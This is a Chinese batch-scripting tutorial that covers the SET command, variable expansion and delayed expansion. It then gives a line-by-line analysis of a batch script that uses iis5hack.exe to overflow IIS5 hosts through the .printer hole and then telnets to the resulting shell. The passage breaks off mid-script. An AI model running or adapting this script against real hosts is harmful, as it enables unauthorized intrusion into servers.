Bat File

from the web , tks

[@more@]

SET [variable=[string]]

variable 指定環境變量名稱。

string 指定要指派給變量的一系列字元。

僅鍵入 SET 而不加參數，可以顯示目前的環境變量。

如果指令擴充名被啟用，SET 會如下改變:

可僅用一個變量激活 SET 指令，等号或值不顯示所有字首比對

SET 指令已使用的名稱的所有變量的值。例如:

SET P

會顯示所有以字母 P 打頭的變量

如果在目前環境中找不到該變量名稱， SET 指令将把 ERRORLEVEL

設定成 1。

SET 指令不允許變量名含有等号。

在 SET 指令中添加了兩個新替換:

SET /A expression

SET /P variable=[promptString]

/A 指令選項指定等号右邊的字元串為被評估的數字表達式。該表達式

評估器很簡單并以遞減的優先權順序支援下列操作:

() - 分組

* / % - 算數運算符

+ - - 算數運算符

<< >> - 邏輯移位

- 按位“與”

^ - 按位“異”

| - 按位“或”

= *= /= %= += -= - 指派

&= ^= |= <<= >>=

, - 表達式分隔符

如果您使用任何邏輯或取餘操作符，您需要将表達式字元串用

引号擴起來。在表達式中的任何非數字字元串鍵作為環境變量

名稱，這些環境變量名稱的值已在使用前轉換成數字。如果指定

了一個環境變量名稱，但未在目前環境中定義，那麼值将被定為

零。這使您可以使用環境變量值做計算而不用鍵入那些 % 符号

來得到它們的值。如果 SET /A 在指令腳本外的指令行執行的，

那麼它顯示該表達式的最後值。該配置設定的操作符在配置設定的操作符

左邊需要一個環境變量名稱。除十六進制有 0x 字首，八進制

有 0 字首的，數字值為十進位數字。是以， 0x12 與 18 和 022

相同。請注意八進制公式可能很容易搞混: 08 和 09 是無效的數字，

因為 8 和 9 不是有效的八進制位數。

/P 指令選項允許将變量數值設成使用者輸入的一行輸入。讀取輸入

行之前，顯示指定的 promptString。promptString 可以是空的。

環境變量替換已如下增強:

%PATH:str1=str2%

會擴充 PATH 環境變量，用 "str2" 代替擴充結果中的每個 "str1"。

要有效地從擴充結果中删除所有的 "str1"，"str2" 可以是空的。

"str1" 可以以星号打頭；在這種情況下，"str1" 會從擴充結果的

開始到 str1 剩餘部分第一次出現的地方，都一直保持相配。

也可以為擴充名指定子字元串。

%PATH:~10,5%

會擴充 PATH 環境變量，然後隻使用在擴充結果中從第 11 個(偏

移量 10)字元開始的五個字元。如果沒有指定長度，則采用預設

值，即變量數值的餘數。如果兩個數字(偏移量和長度)都是負數，

使用的數字則是環境變量數值長度加上指定的偏移量或長度。

%PATH:~-10%

會抽取 PATH 變量的最後十個字元。

%PATH:~0,-2%

會抽取 PATH 變量的所有字元，除了最後兩個。

終于添加了延遲環境變量擴充的支援。該支援總是按預設值被

停用，但也可以通過 CMD.EXE 的 /V 指令行指令選項而被啟用/停用。

請參閱 CMD /?

考慮到讀取一行文本時所遇到的目前擴充的限制時，延遲環境

變量擴充是很有用的，而不是執行的時候。以下例子說明直接

變量擴充的問題:

set VAR=before

if "%VAR%" == "before" (

set VAR=after;

if "%VAR%" == "after" @echo If you see this, it worked

)

不會顯示消息，因為在讀到第一個 IF 語句時，BOTH IF 語句中

的 %VAR% 會被代替；原因是: 它包含 IF 的文體，IF 是一個

複合語句。是以，複合語句中的 IF 實際上是在比較 "before" 和

"after"，這兩者永遠不會相等。同樣。以下這個例子也不會達到

預期效果:

set LIST=

for %i in (*) do set LIST=%LIST% %i

echo %LIST%

原因是，它不會在目前的目錄中建立一個檔案清單，而隻是将

LIST 變量設成找到的最後一個檔案。這也是因為 %LIST% 在

FOR 語句被讀取時，隻被擴充了一次；而且，那時的 LIST 變量

是空的。是以，我們真正執行的 FOR 循環是:

for %i in (*) do set LIST= %i

這個循環繼續将 LIST 設成找到的最後一個檔案。

延遲環境變量擴充允許您使用一個不同的字元(驚歎号)在執行

時間擴充環境變量。如果延遲的變量擴充被啟用，可以将上面

例子寫成以下所示，以達到預期效果:

set VAR=before

if "%VAR%" == "before" (

set VAR=after

if "!VAR!" == "after" @echo If you see this, it worked

)

set LIST=

for %i in (*) do set LIST=!LIST! %i

echo %LIST%

如果指令擴充名被啟用，有幾個動态環境變量可以被擴充，但

不會出現在 SET 顯示的變量清單中。每次變量數值被擴充時，

這些變量數值都會被動态計算。如果使用者用這些名稱中任何

一個定義變量，那個定義會替代下面描述的動态定義:

%CD% - 擴充到目前目錄字元串。

%DATE% - 用跟 DATE 指令同樣的格式擴充到目前日期。

%TIME% - 用跟 TIME 指令同樣的格式擴充到目前時間。

%RANDOM% - 擴充到 0 和 32767 之間的任意十進制數字。

%ERRORLEVEL% - 擴充到目前 ERRORLEVEL 數值。

%CMDEXTVERSION% - 擴充到目前指令處理器擴充名版本号。

%CMDCMDLINE% - 擴充到調用指令處理器的原始指令行。

第四部分：完整案例

以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理，看看他們是怎麼運作的。這裡我将列舉三個例子來詳細分析，為了保持程式的完整我的注釋會加在/*後面。

例一

這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的指令格式為：

iis5hack

目标版本為0-9這10個數字分别對應不同語言版本和sp的系統版本，我們編制的批處理使用的指令格式為開始版本号可有可無。程式如下:

@echo off /*關閉指令回顯

if "%1%"=="" goto help /*判斷%1是否為空，%1為目标ip

if "%2%"=="1" goto 1 /*判斷%2是否為1，為1則跳轉标志1

if "%2%"=="2" goto 2 /*%2為開始版本号，如果沒有設定則

if "%2%"=="3" goto 3 /*如果存在則從比對的地方開始執行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行标志file段内容

ping %1 -n 1 | find "Received = 1" /*ping目标1次，從結果中發現Received = 1

if errorlevel 1 goto error /*如果傳回代碼為1則執行error段(代碼1為沒有發現 0為發現并成功執行)

iis5hack %1 80 9 88 | find "good" /*開始溢出目标端口80 系統代碼9 溢出後連接配接端口88 /*在執行結果中發現字元串”good”(溢出成功後才會有字元串good)

if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1（溢出成功）就執行telnet段的内容。

echo 作業系統類型 9 失敗! /否則顯示這一句

:8 /*以下代碼内容參照上面

iis5hack %1 80 8 88 | find "good"